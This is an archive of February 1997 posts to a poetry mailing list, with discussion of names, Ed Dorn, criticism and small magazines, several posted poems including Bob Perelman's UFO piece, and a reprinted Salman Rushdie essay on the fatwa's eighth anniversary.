Our child, Henry is named after my maternal grandfather Enrico. [One of my cousins in Boston is named Henry. He is now in his sixties and has always been an artist; for many years, on the various gallery notices I received, he was "Henry"; Then, ... around the time that anything Italian (Armani, arugula, caffe-latte, Bruno Magli) ascended to the zenith of trendiness ... he was transmuted into" Enrico".] Our son has been assigned the paternal "Goldstein", partly to weave him securely into the rather large Goldstein clan; but since he was adopted at birth and we have a good relationship with his birthparents and their families, he in fact began life listed on his hospital birth certificate as Aleister (after Crowley) Drake (as in dungeons-and) Jozens (his birthmother's name.) This was just a sort of courtesy or formality, as we all knew that a few months later when the legal adoption was finalized before a judge, the state of California would issue a new birth certificate listing me and Rich as his parents and giving him the name we chose. When he grows up, he can pick from among these, as well as his birthfather's last name, which is Crites. So there you go -- seven-plus names on the mailbox and counting.

Marina deBellagente LaPalma
329 Pope Street
Menlo Park CA 94025
[redacted]

↑ Index

429. **Bil Brown**
Re: fake avant garde ID
Thu 13 Feb 1997

I have decided that I hate poetry. Bil

↑ Index

430. **Ron Silliman**
Crackle
Thu 13 Feb 1997

>Date: Tue, 11 Feb 1997 13:37:37 -0800
>From: [redacted]
>Subject: Re: Zones v. Zoos
>
>At 11:51 AM -0500 2/11/97, Keith Tuma wrote:
>
>>So we're to believe that Taggart and Sobin are nostalgic, and pretentious to boot? Second generation watered down Black Mountain? (And Cole Swensen got accidentally tossed in THAT pile).
>
>Oddly, Keith, I thought that Ron meant Norma Cole in his list:
>
>>Consider, for example, that non-group posed by Forrest Gander. Several of the folks on that list--Taggart, Cole and Sobin, say (and to some degree Palmer)--all share enough features to compose a group of their own except that the Loner status with all its aching pretentiousness is one of its major preconditions.
>
>I don't think Ron would fall into the trap of naming men by their last
>names and then slip to a first name basis for a woman--I think Ron is much too aware for that.
>
>But then he added:
>
>>All of them are male second generation Black Mountain poets whose work is notably more timid than that of their elders.
>
>So I figured it must be some male Cole that I'm not familiar with.
>
>Who is this mysterious Cole?
>
>Dodie

Peter Cole, published by Station Hill.

Aside to Moose Kellogg (for whom this Rice Krispie thread must be dedicated), young Tom is beautiful and I like all the links to the family (how does that fit into the map?).

Ron Silliman

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431. **henry gould**
Re: Zones v. Zoos
Thu 13 Feb 1997

On Wed, 12 Feb 1997 11:32:38 -0700 Charles Alexander said:
>
>This Dorn fellow seems to be reviled by many right now, for reasons I
>understand. But are things he has done even worse than Pound, or Adorno (a
>not too-long-ago thread here), that the mere mention of his name requires a
>prayer? And are people still reading his work, some of which I still find
>insightful and quite brilliant?
>

Gunslinger is more fun than chasin coyotes down the arroyo. It's the most-fun-to-read epic ever written.

- Jack Spandrift
the hard-drinkin, tough-talkin po-yeti from Brainerd, MN
Jack's CD, "Whoopin with the Cranes", is now available from Wooden Nickel Press, PO Box 12, Varmint, Wyo 11191. Send $35. cash only prepaid with SASE.

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432. **charssmith**
Re: Zones v. Zoos//Cole
Thu 13 Feb 1997

In a message dated 97-02-12 12:19:35 EST, Dodie writes:

<< So I figured it must be some male Cole that I'm not familiar with.

Who is this mysterious Cole? >>

I assumed Ron was referring to Peter Cole (_Rift_, Station Hill, & the translator of Shmuel HaNagid, Princeton).

Charles

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433. **Pritchett,Pat**

Re: Names/Of No Known Provenance

Thu 13 Feb 1997

At last count, there were 34 Patrick John Francis Pritchetts roaming throughout the continental US alone, all of them more or less identical excepting of course facial features, height, weight, length of nose, hair, eye & skin color, visual acuity, sexual orientation, reading preferences, occupations, etc. Oddly, they are all orphans.

From: Susan Wheeler
To: POETICS
Subject: Re: Names
Date: Thursday, February 13, 1997 10:47AM

Ma's side:
grandma: Olive C. Diffenderfer Skeen
her brother/my great uncle: Meldrum C. Diffenderfer
my uncle/her son: Carrel Wesley Skeen
My dad's side:
grandma: May Wheeler
her brother/great uncle: Winslow Harding Loveland

I got no middle name (unlike my brother, who got Daniel AND Harding with Wheeler) so when Carrel Wesley (my only uncle or aunt) traced the Skeen side back through Daniel Boone via his daughter Susannah and I was 7 I took on the shebang until my current teacher Miss Lewis raised a fuss about whether I had LEGALLY changed it to Susannah Boone Wheeler. That was the end of any flirtations with a middle name.

Susan Wheeler
[redacted]

37 Washington Square West #10A
New York, New York 10011
[redacted] phone/fax

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434. Steven Marks
paradoxical criticism
Thu 13 Feb 1997

Henry Gould says:
>The honest critic will (paradoxically) partake of the enthusiasm and inspiration of the artist h/she critiques.

Most of the time I will only write reviews of books I can get excited about. Why spend time on what doesn't set me on fire? And I agree, too, with another post which raised the question of whether there is good and bad poetry. I find that I am always amazed at what I can discover in "bad" poetry. In theater, for example, I know that I have learned as much from a "bad" production as from a good one. Something about a good production allows me to settle back and enjoy, whereas a "bad" production forces me to figure out why. And in figuring out why, I often see other possibilities that are covered up in the good performance. I'm not sure if this is as true with poetry. It may even be more true with some "schools" than others. I'm going to have to think about this. I've always felt that a review, to lesser or greater degrees, should generate some of the same excitement that the work being critiqued generates.

Steven Marks

Samples of reviews, criticism and poetry at

http://members.aol.com/swmarks/welcome.html

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435. shoemakers
Re: Michael Coffey / poetry "schools"
Thu 13 Feb 1997

Rod--Heard a spot on NPR the other day about independent book stores and music stores, respectively, forming support networks in order to come up with strategies to combat the big-chain takeover. One of the assumptions (a good one) was that the independents tend to have knowledgeable and motivated staff, more aware of local needs and interests. Nothing surprising there. But one of the ideas was that fave "local" artists wld be featured at other stores in the (non-local) network. Thus, more "product" for the stores and more distribution for the artists. Also, on the music end of things many major labels were in fact more than willing to work with these networks, happy to have another outlet. Any networking going on up DeeCee way?

steve

Steve Shoemaker

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436. Fred Muratori
Darn Those Dorns!
Thu 13 Feb 1997

>On Wed, 12 Feb 1997 11:32:38 -0700 Charles Alexander said:
>>
>>This Dorn fellow seems to be reviled by many right now, for reasons I
>>understand. But are things he has done even worse than Pound, or Adorno
(a
>>not too-long-ago thread here), that the mere mention of his name requires a
>>prayer? And are people still reading his work, some of which I still find
>>insightful and quite brilliant?
>>
>
>_Gunslinger_ is more fun than chasin coyotes down the arroyo. It's the
>most-fun-to-read epic ever written.
>
I think we're confusing Dorns here. I believe that the Dorn Charles refers
to is "Dr." Alfred (or Albert?) Dorn, arch-Formalist and president of the
New World Order of (something) Poets, an organization which sponsors annual
contests for the best sonnet, villanelle, etc., and sends out
mass-mailings to Poets & Writers listees. Much as I like experimental
work, I don't break out in hives when I read a rhymed sonnet, either.
Still, this guy is a little scary. Has been photographed affecting a cape
and pointy beard. He's published work in _The Hudson Review_, and I think
The Formalist, among others. Though he's ardent in his promotion of
strict traditional forms, it's not clear where he stands on Social Credit
or the efforts of the Axis Powers to take over the world, so I doubt that
comparisons to Pound are warranted.

-- Fred Muratori

****

Fred Muratori
([redacted])
Reference Services Division
Olin * Kroch * Uris Libraries
Cornell University
Ithaca, NY 14853

"The spaces between things keep
getting bigger & more
important."
- John Ashbery

WWW: http://fmref.library.cornell.edu/spectra.html
****

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437. **dbkk**
Re: Zones v. Zoos
Thu 13 Feb 1997

Speaking of Zoos--

a friend e-mailed the following to me this morning.

Dodie

We all joke that "everybody" has done a zine, but NOW I actually believe it - - the plot of today's episode of Sesame Street is that Big Bird does a zine! They use the word magazine not zine, but that's the basic idea of it. He watches people buying various specialized magazines at Hooper's Store, and asks whether there's a magazine just for people like him - - big birds. When he's told that there isn't such a thing, he throws a small tantrum, then decides - - ta da! - - that he'll do one himself! Rest of the episode follows him as he draws a cover, comes up with story ideas, does an interview, has photographs taken, puts his issue together, etc, and creates Issue One of BIG YELLOW BIRD. (Didn't see how the episode finally ended - - snuck off to take a shower instead.)

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438. **Karl Richter**
POEM
Thu 13 Feb 1997

HOW GRANDFATHER FLEW

Grandmother sculpts birds of smoke
with her cheeks, tongue, lips and puffs them
sailing through her wedding dress hung
like a curtain and stained as yellow
as the sunlit dust her creatures shatter into.
And somewhere in the sack the day drags behind it,
a lost hawk worries the storyteller's campfire,
swooping and kissing the tale with his wings.

--Karl Richter

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439. henry gould
Re: Darn Those Dorns!
Thu 13 Feb 1997

DORNETTE

The name donated him when he was born
worn in good stewardship for forty years
and polished like a medal for his peers
was neither square nor round - but it was Dorn.

One syllable - and yet it was a horn
that trumpeted his fame from here to there
and blew down other Dorns who dared to share
that doorway to the glory that was Dorn.

If I could be an Alfred or an Ed
or even Egbert, Ethelred or Ned
I'd Hale and Harty be, let it be said -

yet deep within my Hank-kerchief I've sworn
when all our names are buried in the corn
it's better to be loved than be adorn.

- Jack Spandrift "the hard-drinkin, tough-talkin po-yeti from Brainerd, MN"
Jack's new CD, "Cowpokin' Fun", is available from Leatherwurst Press, PO Box Irrelevant, Blasted, Wyo 1119413. Send check or money order IN ADVANCE ONLY for $45. Include SASE. No phone calls.

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440. Keith Tuma
die a critic
Thu 13 Feb 1997

My chairperson put a copy of the brand new Diacritics in my mailbox, with this note attached: "This arrived yesterday and I thought you might have a more immediate interest in it. I'd like it back at some point but there's no hurry."

So I've been thinking about that note and reading around in the magazine instead of doing what i should be doing. I want to say first that the chairperson here is a well-meaning, curious man. I took it that his decision to pass on the magazine to me involved a judgment; he had more important things to do than to read it (now). And that's what I've been thinking about in the wake of this poetry zones business. A few random remarks:

Jonathan Monroe is to be congratulated for moving the discussion of exploratory anti-genre, anti-disciplinary "poetries" into the moneyed domain of

composition and rhetoric pedagogy. I'm not going to take up his arguments, or problems I might have with them--though JM's enthusiasm shines brightest in his suggestion that 3rd graders might be made to read Bob Perelman's "China" beside Frost. The real value of JM's article is simply in recognizing the power of this pervasive institution. Want an audience for exploratory poetry? Want efficacy for its practices? Then find a way to get it into composition courses. Except that, having tried as much, one wants to know how to keep the discipline from showing up again after what is taken as "the party," as carnival, is over.

I've also been looking at the listmaster's contribution. Some of those funny- banal (or is that banal-funny) poems called "Memories" are included. And no doubt many an astute reader will note that once again Mr. B is crossing genres in his essay-text. But what I noticed is that the text is a collage of fragments some of which were written for other purposes and occasions. It begins, for instance,with a message CB wrote to this very listserv (so much for keeping membership down, Charles,for "word of mouth"). And there are (I suspect)other passages written for elsewhere, imported into this text. The "traditional" justification for doing something like what CB seems to be up to would be the pursuit of a better or more perfect articulation of one's claims. (A second, slightly less traditional use of these tactics would seem to involve the narrating of one's own process of composition--I said it once like this, and now i say it like this, or I said it once like this, and this is what I want to make of all that now.) But I'm not sure that this is exactly what CB is up to (perhaps he might clarify). I think that CB is moving things around, putting it in new constellations for new occasions and situations, as a way of combatting that very glut of information which makes my chairperson inclined to put aside this very Diacritics. Approaching the unapproachable (Cavell), saying again and again, and saying just a little differently not necessarily to say it "right"--he's given up that fantasy--but to redeploy. But increasingly i'm thinking of that re-deployment--that moving stuff round from listserv to essay, talk to essay, etc.--as a tactic that might be (and is)imagined as a response to--as it were--the glut confronting my chairperson as a rather desperate sign. Say it again and again because nobody is listening Glut confronts glut in a melancholy aesthetics of proliferation.

Just a few random, spontaneously generated and probably incoherent words to clog your disk, by way of a first and partial review of the Diacritics issue all deserve congratulations for.

Keith Tuma

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441. **Bob Perelman**

fake avant garde ID

Thu 13 Feb 1997

TO THE LISTSERV

Aliens have inhabited my aesthetics for
decades. Really since the early 70s.

Before that I pretty much wrote
as myself, though young. But something

has happened to my memory, my
judgment: apparently, my will has been

affected. That old stuff, the fork
in my head, first home run,

Dad falling out of the car--
I remember the words, but I

just can't get back there. I
think they must be screening my

sensations. I'm sure my categories have
been messed with. I look at

the anthologies in the big chains
and campus bookstores, even the small

press opium dens, all those stanzas
against that white space-- they just

look like the models in the
catalogs. The models have arms and

legs and a head, the poems
mostly don't, but other than that

it's hard --for me anyway-- to
tell them apart. There's the sexy

underwear poem, the sturdy workboot poem
you could wear to a party

in a pinch, the little blaspheming
dress poem. There's variety, you say:

the button-down oxford with offrhymed cuffs.
The epic toga, showing some ancient

ankle, the behold! the world is
changed and finally I'm normal flowing

robe and shorts, the full nude,
the scatter-- Yes, I suppose there's

variety, but the looks, those come
on and read me for the

inner you I've locked onto with
my cultural capital sensing device looks!

No thanks, Jay Peterman! No thanks,
"Ordinary Evening in New Haven"! I'm

just waiting for my return ticket
to have any meaning, for those

saucer-shaped clouds to lower! The authorities
deny any visitations --hardly a surprise.

And I myself deny them-- think
about it. What could motivate a

group of egg-headed, tentacled, slimier-than-thou aestheticians with techniques
far beyond ours to

visit earth, abduct naive poets, and
inculcate them with otherworldly forms that

are also, if you believe the
tabloids, rather salacious? And these abductions

always seem to take place in
some provincial setting: isn't that slightly

suspicious? Why don't they
reveal themselves hovering over some New

York publishing venue? It would be
nice to get some answers here--

we might learn something, about poetry
if nothing else, but I'm no

help, since I'm an abductee, at
least in theory, though, like I

say, I remember little. And yet
this writing seems pretty normal: complete

sentences; semicolons; yadda yadda. I seem
to have lost my avant garde

card in the laundry. They say
that's typical. Well, you'll just have

to use your judgment, earthlings! It's
your job! Back to work! As

if you could leave! And you
thought gravity was a problem!

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442. Mark Wallace
Situation #14
Thu 13 Feb 1997

Situation #14 is now available, featuring the work of Robert Fitterman, Lisa Samuels, Hoa Nguyen, Stephen Ratcliffe, Loss Glazier, John Marvin, Noah de Lissovoy, David McAleavey, and David Golumbia.

Subscriptions to Situation are $10 for four issues; $3 for single and back issues. Address: 10402 Ewell Ave., Kensington, MD 20895. Make checks payable to Mark Wallace.

Anyone who wants further information is welcome to back channel me at this e-mail address.

Mark Wallace

/----------\ |
| | [redacted] "I have not yet begun | |
to go to extremes" | | GWU: |
| http://gwis2.circ.gwu.edu/~mdw | | EPC:
| | http://writing.upenn.edu/epc/authors/wallace | |
_____|

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443. Mark Wallace
Nick Piombino
Thu 13 Feb 1997

Just wanted to definitely agree with others that Nick Piombino's new book Light Street from Zasterle is well worth reading, as is BOUNDARY OF BLUR which also received some recent plugs. But I did want to mention Nick's other collections of poetry--his first book, POEMS, and an issue of Abacus, FROZEN WITNESS. His work can also be found in AVEC, CHAIN, SITUATION and many

other publications. To my own sense, one of Nick's most interesting explorations involves what he once described to me as "the poltics of attention"--the way human consciousness, in its priveleging of some forms of phenomena over others, inevitably reflects built-in ideological biases. Much of Nick's own poetry seeks to challenge an unconscious "politics of attention" through language and other material techniques designed to bring consciousness back to attention to itself, rather than remaining an unconscious immersion in unquestioned social ideologies. One of the things that makes his poetry so interesting is that he's always looking where one least expects him to be looking.

mark wallace

/----------\ |
| | [redacted] "I have not yet begun | |
to go to extremes" | | GWU: |
| http://gwis2.circ.gwu.edu/~mdw | | EPC:
| | http://writing.upenn.edu/epc/authors/wallace | |
_____|

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444. David Golumbia
Re: fake avant garde ID
Thu 13 Feb 1997

Wow.

--
[redacted]
David Golumbia

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445. James Brook
new PHAROS available
Thu 13 Feb 1997

Dear listed, I'm posting this for my friends at PHAROS in Paris, who were kind enough to publish a couple of my poems in the current issue (along with my translation of a poem by Sebastian Reichmann, familiar to Talisman and Exquisite Corpse readers).

They were also kind to some others of recognizable name!

--J.

- - - - - The Winter 1997 PHAROS, the magazine's fifth issue, is now available. PHAROS is a literary magazine published twice a year in Paris. It features

poetry and prose by both Paris-based and international writers. PHAROS was founded in 1995 as the offshoot of a writing workshop taught by Alice Notley and Douglas Oliver at the British Institute. Its contributors, besides Notley and Oliver, have included Robert Creeley, Marilyn Hacker, Anselm Hollo, Diane Johnson, Iain Sinclair, Arthur Sze, David Lehman and Anne Waldman, among others.

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Subscriptions

Subscriptions to PHAROS for one year (two issues), postpaid, are 60 French francs, $15 (US) or £8 (UK). Please make check or money order out to Douglas Oliver.

Submissions

PHAROS welcomes submissions from writers in Paris and farther afield. Please address correspondence to:

PHAROS
The British Institute
11, rue de Constantine
75007 Paris
FRANCE

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446. **henry gould**
Re: darn thos dorns!
Thu 13 Feb 1997

Just want to add to the glut & say I take no responsibility for the "sonnets" and other splursions of "Jack Spandrift." I've known him for a long time - a small-town librarian & small-time crook from Bludget, Wyo, with a huge chipmunk on his shoulder that eats rhyme and meter for lunch. His execrable take on a man's good name (it is the 13th, after all) warrants severe derision. His only redeeming statement was when he wrote in a previous post that _Gunslinger_ is the "funnest"[sic] epic ever written, which I agree with 100 percent.

Ignore Jack Spandrift, people. Or write a derogatory "driftette". He deserves all the buffalo shit out there (excuse, me, I mean glut).

the Hon. Henry Gould

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447. **David Israel**
Re: fake avant garde ID
Thu 13 Feb 1997

Thanks, Bob --

sitting here at my word processing cubicle in my DC patent law
firm as the afternoon lates, I enjoyed that.
Interesting you're expanding themes of *Virtual Reality* (I guess
it was called?) in yet-weirder ways.
In lieu of an in-person reading, this was a hearty pick-me-up.

regards,
d.i.

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448. Daniel Bouchard/College/hmco
Bob's poem read/discussed & redeemed
Thu 13 Feb 1997

I have decided that I hate poetry.
 -- Bil Brown

Wow.
 -- David Golumbia

_____

Congratulations Bob Perelman!

Never, while I've been on this list, that I can remember (and I'm not saying I can), has a posted poem produced such quick and diverse responses from its participants.

It is an appropriate summation of the "audience" thread that has woven through the dialogue recently.

Me? I enjoyed reading it-- twice. And then, after I "sacked" a second phone call to voice-mail, I deleted it forever, with a flick of the finger.

Warmly,

daniel bouchard

(who forever refuses to divulge secrets of family names or personal attire)

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449. Eliza McGrand- CVA Guest
Re: Darn Those Dorns!
Thu 13 Feb 1997

Bravo Henry!

let them not be forlorn, oh dorns,
forgotten, misbegotten, misplaced
When sky is a tattered curtain to the last-born
of earth, Dorn, oh Dorn will loft to Grace

e

↑ Index

450. **Douglas**
Re: Nick Piombino
Thu 13 Feb 1997

Thanks Mark for mentioning POEMS. It is
truly a great book. And Sun & Moon Press
is still offering the book at a price of $5.00.
Hope everyone will get a copy and read this
remarkable poet.

Douglas

Mark Wallace wrote:
>
> Just wanted to definitely agree with others that Nick Piombino's new book
> Light Street from Zasterle is well worth reading, as is BOUNDARY OF BLUR
> which also received some recent plugs. But I did want to mention Nick's
> other collections of poetry--his first book, POEMS, and an issue of
> Abacus, FROZEN WITNESS. His work can also be found in AVEC, CHAIN,
> SITUATION and many other publications. To my own sense, one of Nick's
most
> interesting explorations involves what he once described to me as "the
> poltics of attention"--the way human consciousness, in its priveleging of
> some forms of phenomena over others, inevitably reflects built-in
> ideological biases. Much of Nick's own poetry seeks to challenge an
> unconscious "politics of attention" through language and other material
> techniques designed to bring consciousness back to attention to itself,
> rather than remaining an unconscious immersion in unquestioned social
> ideologies. One of the things that makes his poetry so interesting is that
> he's always looking where one least expects him to be looking.
>
> mark wallace
>
> /----------\
> | |
> | [redacted] "I have not yet begun |
> | to go to extremes" |
> | GWU: |
> | http://gwis2.circ.gwu.edu/~mdw |
> | EPC: |
> | http://writing.upenn.edu/epc/authors/wallace |
> |_____|

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451. George Bowering

Re: Bob's poem read/discussed & redeemed

Thu 13 Feb 1997

> *I have decided that I hate poetry.*
> *-- Bil Brown*
>
> *Wow.*
> *-- David Golumbia*

Well, I like poetry better than Carl Lewis.
 -- George Bowering
>
>_____
>
>
>Congratulations Bob Perelman!
>
>Never, while I've been on this list, that I can remember (and I'm not saying I
>can), has a posted poem produced such quick and diverse responses from its
>participants.
>
>It is an appropriate summation of the "audience" thread that has woven through
>the dialogue recently.
>
>Me? I enjoyed reading it-- twice. And then, after I "sacked" a second phone
>call to voice-mail, I deleted it forever, with a flick of the finger.
>
>Warmly,
>
>daniel bouchard
>
>(who forever refuses to divulge secrets of family names or personal attire)

George Bowering.
,
2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

452. **Tom Beard**
Re: Nick Piombino
Thu 13 Feb 1997

> *To my own sense, one of Nick's most interesting explorations involves what he once described to me as "the poltics of attention"--the way human consciousness, in its priveleging of some forms of phenomena over others, inevitably reflects built-in ideological biases.*

Interesting to consider how much of this "privileging of some forms of phenomena over others" is ideological and how much is biological - we tend to notice things that may be a physical threat to us, for example. Which may be why red is a good colour for attracting attention - red things in nature are often either signals of hazards (as in some animals' and plants' warning colouration) or on fire. Bitter things are often unripe. Sudden, loud noises were often signals that something was about to fall on us or eat us.

These are very crude examples, of course. But the human capacity (read: mania) for setting boundaries and dividing the world into categories may have somehow developed out of the fact that edge-detection neural systems appear at a very basic level of our visual perception.

Tom Beard

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453. **petersm**
Alice Notley
Thu 13 Feb 1997

---

does anybody know the e-mail or snail mail address of alice notley?

mark peters

"mike's naked with no clothes and no head."

--lyla goodberry

↑ Index

454. **henry**
Re: Who's Zoning Who
Thu 13 Feb 1997

This was one of the sharpest statements according to my lights in a while. Care to entrap yourself with further remarks on what beauty in the contemporary world involves? & its relation to poetry? & its displacement by justice? Simone

Weil has some interesting speculations on beauty, justice and mediation, according to the Greeks. Let me quote from Pharisee #12 Psychompompos. . .

What if Paradise exists, but we don't see it. The Kingdom of Heaven is "at hand." & utopia is a political compromise hammered together out of human p ride and earwax. "let the wind speak that is Paradise." It's the day after Ash Wednesday. Unless ye repent ye shall all likewise perish. They have earwax at CVS, along with Jack Spandrift's latest CDs and some dusty shelves of poetry zones. Go for it. It's the 90s - glut & choice are the bywo rds of our online world. Manual labor is learning how to use a backhoe & save. & William Blackstone daubed his forehead with thumbprint of ash.

↑ Index

455. **Wendy Battin**

Re: Who's Zoning Who

Thu 13 Feb 1997

Tricky, but yes. How much of rejection of "self" (& g*ds know I sympathize when it comes to poetry as dull bar seduction, see what a sensitive dude/brave dudette I am) also throws out what wd be worth preserving if the revolution ever succeeds? I'd love to see a lot more rejection of ego & superego, to adopt some retro terms, and more plumbing into the part of self that says why it's worth staying alive, worth seeking out other humans, worth the hassle of fighting through Babel and money and resentment. Silly beauty & foolish truth, because it's foolish to care that a primate band invents justice & somehow tries to make it, & silly if you see & think to go on living, but we do. Where are the gifts that keep *that* weird enterprise going? I find bits & pieces of them in all kinds or reporting & recording, but rarely find anyone willing to value them in public.

Wendy

On Thu, 13 Feb 1997, henry wrote:

> *This was one of the sharpest statements according to my lights in a while.*
> *Care to entrap yourself with further remarks on what beauty in the contemporary world involves? & its relation to poetry? & its displacement by justice?*
> *Simone Weil has some interesting speculations on beauty, justice and mediation, according to the Greeks. Let me quote from Pharisee #12 Psychompompos. . .*
>
> *What if Paradise exists, but we don't see it. The Kingdom of Heaven is "at hand." & utopia is a political compromise hammered together out of human p ride and earwax. "let the wind speak that is Paradise."*
> *It's the day after Ash Wednesday.*
> *Unless ye repent ye shall all likewise perish.*
> *They have earwax at CVS, along with Jack Spandrift's latest CDs and some dusty*

> *shelves of poetry zones. Go for it. It's the 90s - glut & choice are the bywo*
> *rds of our online world. Manual labor is learning how to use a backhoe & save.*
> *& William Blackstone*
> *daubed his forehead with*
> *thumbprint of ash.*

---------- Wendy Battin (home)
http://camel.conncoll.edu/ccother/wjbat/ (CAPA)
http://shain.lib.conncoll.edu/CAPA/capa.html (Multiple Poetics)
http://www.geocities.com/SoHo/Lofts/5471/index.html

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456. **Bil Brown**
Re: Nielsen on Dorn
Fri 14 Feb 1997

> *P.S. 3:*
>
> *Hang in there, Bil Brown. There's lots more to read.*
>
> *Anselm Hollo*

I know. Maybe a bit TOO much... don't you think.

Bil Brown

↑ Index

457. **jdhollo**
Nielsen on Dorn
Fri 14 Feb 1997

"but he's also shown himself
a bigot in unforgivable ways"

Says who? The Grand Vizier of Correct Thought?

Of course, this, too, is just dinner or 'panel' table babble.

P.S.:

Kudos to Bough and Perelman for their prose poems (even though the UFO shtick is a little old hat).

P.S. 2:

Surprised to see Ron Silliman's 'classification' of Palmer Cole & Taggart as post-Black Mtn sentimentalists go unchallenged. In my humble opinion, at least the first two are Way Ahead of Murk, Mush, and Tedium (as are Dorn Baraka

Blackburn Oppenheimer, to mention just a few who began the practice of their art long before the Holy Ghost of LangPo descended).

P.S. 3:

Hang in there, Bil Brown. There's lots more to read.

Anselm Hollo

↑ Index

458. A. Jennifer Sondheim
for valentine's day whatever happiness you've found
Fri 14 Feb 1997

---

it's valentines day, a day for couples and threesomes
bubbles come out of jennifer's and alan's mouths
loops of saliva on their surfaces form canals
of liquid on liquid pushed from liquid air

spilled cum on keyboards fingers chairs
silicon dreams in silicon valleys breasts
jennifer alan lie side by side undressed
puddles drying on shared skin and skinny brains

they're flat against the earth which pushes them
into one long shadow merged hysteric
back down against the ground where their ass cracks
open into tunnels tendrils lost in one long shadow

shared holes and noggins they've got nothing lost
but sanity says nursing sue just come upon 'em

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459. Pierre Joris
Rushdie's Valentine
Fri 14 Feb 1997

Here's a Valentine from Salman Rushie:

The [London] Guardian February 14 1997

On the eighth anniversary of the fatwa against him, Salman Rushdie castigates Europe's politicians for cynically abandoning the ideals of free expression and human rights

THE DIPLOMATIC VICES

EUROPE begins, as the Italian writer Roberto Calasso reminds us in The Marriage of Cadmus And Harmony, with a bull, and a rape. Europa was an Asian maiden abducted by a God (who changed himself, for the occasion, into a white bull), and was held captive in a new land that came, in time, to bear her name. The prisoner of Zeus's unending desire for mortal flesh, Europa has been avenged by history. Zeus is just a story now. He is powerless; but Europe is alive.

At the very dawn of the idea of Europe, then, is an unequal struggle between human beings and gods, and an encouraging lesson: that while the bull-god may win the first skirmish, it is the maiden-continent that triumphs, in time.

I, too, have been engaged in a skirmish with a latter-day Zeus, though his thunderbolts have thus far missed their mark. Many others - in Algeria and Egypt as well as Iran - have been less fortunate. Those of us engaged in this battle have long understood what it's about. It's about the right of human beings, their thoughts, their works of art, their lives, to survive those thunderbolts; and to prevail over the whimsical autocracy of whatever Olympus may presently be in vogue. It's about the right to make moral, intellectual and artistic judgments, without worrying about Judgment Day.

The Greek myths are Europe's southern roots. At the continent's other end, the old Norse creation-legends also bring news of the supplanting of the gods by the human race. The final battle between the Norse gods and their terrible enemies has already taken place. The gods have slain their foes and been slain by them. Now, we are told, it is time for us to take over. There are no more gods to help us. We're on our own. Or, to put it another way (for gods are tyrants, too): we're free. The loss of the divine places us at the centre of the stage, to build our own morality, our own communities; to make our own choices; to make our own way.

Once again, in the earliest ideas of Europe, we find an emphasis on what is human over and above what is, at one moment or another, held to be divine. Gods may come and gods may go, but we, with any luck, go on for ever.

This humanist emphasis is, to my mind, one of the most attractive aspects of European thought. It's easy, of course, to argue that Europe has also stood, during its long history, for conquest, pillage, exterminations and inquisitions. But now that we are being asked to join in the creation of a new Europe, it's helpful to remind ourselves of the best meanings of that resonant word. Because there is a Europe that many, if not most, of its citizens care about.

This is not a Europe of money, or bureaucracy. Since the word "culture" has been debased by over-use, I'd prefer not to use it. The Europe that is worth talking about, worth re-creating, is anyhow something broader than a "culture". It is a civilisation.

TODAY, I am listening to the melancholy echoes of one small, intellectually impoverished, pathetically violent assault on the values of that civilisation. I refer, I'm sorry to say, to the Khomeini fatwa whose eighth anniversary this is, and to the latest barbaric noises about "bounty money" emerging from the Iranian government's front organisation, the 15 Khordad Foundation.

I'm also sorry to say that the EU's response to such threats has been little more than tokenist. It has achieved, in one word, nothing. The Europe for which Europeans care would have done more than simply state that it found such an assault unacceptable. It would have sought to place maximum pressure on Iran while removing as much pressure as possible from the lives of those threatened. What has happened is the exact opposite. Iran is under very little (I would even say, no) pressure on this matter. But for eight years, some of us have been under a fair amount of stress.

During these eight years, I have come to understand the equivocations at the heart of the new Europe. I have heard Germany's foreign minister say, with a shrug, that "there is a limit" to what the EU is prepared to do for human rights. (A few months after this statement, Germany, then Iran's biggest trading partner, gave a red-carpet welcome to Iran's terrorist-inchief, Intelligence Minister Fallahian. My Norwegian publisher, William Nygaard, was shot the week after Fallahian's triumphal tour.) I have heard Belgium's foreign minister tell me that the EU knows all about Iran's terrorist activities against its own dissidents on European soil. But as to action? Just a world-weary smile; just another shrug. During Italy's EU presidency, the Italian foreign ministry refused to answer - even to acknowledge - our letters on this issue. In Holland, I actually found myself obliged to explain to foreign-ministry officials why it would not be a good idea for the EU to accept the fatwa's validity on religious grounds.

I have been refused entry to Denmark, on the spurious grounds of a trumped-up "specific threat" against my life, a threat which mysteriously vanished in the face of a public outcry; but I know that Denmark, already a major exporter of feta cheese to Iran, is presently trying hard to increase its trade relations with that country.

During the just-concluded Irish presidency, I was offered a meeting by Dick Spring which then, oddly, took six months and a lot of pushing actually to arrange. In this meeting Mr Spring assured me that a strong statement about the fatwa would be included in the conclusions of the Dublin Summit. No such statement was made. (Ireland, too, is looking to expand its trade with Iran.)

This new Europe has not looked to me like a civilisation. It is an altogether more cynical enterprise.

EU leaders pay lip-service to the great European ideals--free expression, human rights, the Enlightenment, the right to dissent, the importance of the separation

of church and state. But when these ideals come up against the powerful banalities of what is called "reality" - trade, money, guns, power - then it's freedom that takes a dive. When it's Danish feta cheese or Irish halal beef against the European Convention on Human Rights, don't expect free expression to win. Speaking as a committed European, it's enough to make a Euro-sceptic of you.

In a few months, the United Kingdom will enter the EU "troika", and will then, for a year and a half, have a real opportunity to resolve this problem. I hope - I think, after so long a wait, I have the right to expect - that the British government will, during this period, be a good deal more active than it has. So much of diplomacy, I've learned, is a matter of nods and winks. The extreme passivity of the Foreign Office has permitted the rest of the EU to go to sleep on this issue, and has given the Iranians the sign that there is really no need for them to do very much at all. I am of course pleased that the Foreign Office has condemned the new bounty offer, but a few stiff words once a year are no substitute for a policy.

LIKE so many of my fellow-Britons, I hope there will soon be a new Labour government. I have long been urging that government- in-waiting to understand the importance of the arts in conveying the sense of national renewal which Labour must seek swiftly to create. Today, on this tawdry anniversary, I ask Mr Blair to come to the aid of this one particular artist. As he knows, and has been good enough to tell me, the principles involved go far beyond the survival of a single individual.

I ask him to bring a new spirit of urgency to the fight against the Zeus of Iran and his attempt to kidnap our freedoms; and by doing so, to show New Labour's commitment to the true spirit of Europe - not just to an economic community, or to monetary union, but to European civilisation itself.

(c)Salman Rushdie 1997.
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--
==========
pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]
http://writing.upenn.edu/epc/authors/joris/
http://www.albany.edu/~tm0900/nomad.html

Everything that allows men to become rooted, through
values or sentiments, in _one_ time, in _one_ history, in
one language, is the principle of alienation which
constitutes man as privileged in so far as he is what he is,

[...] imprisoning him in contentment with his own reality
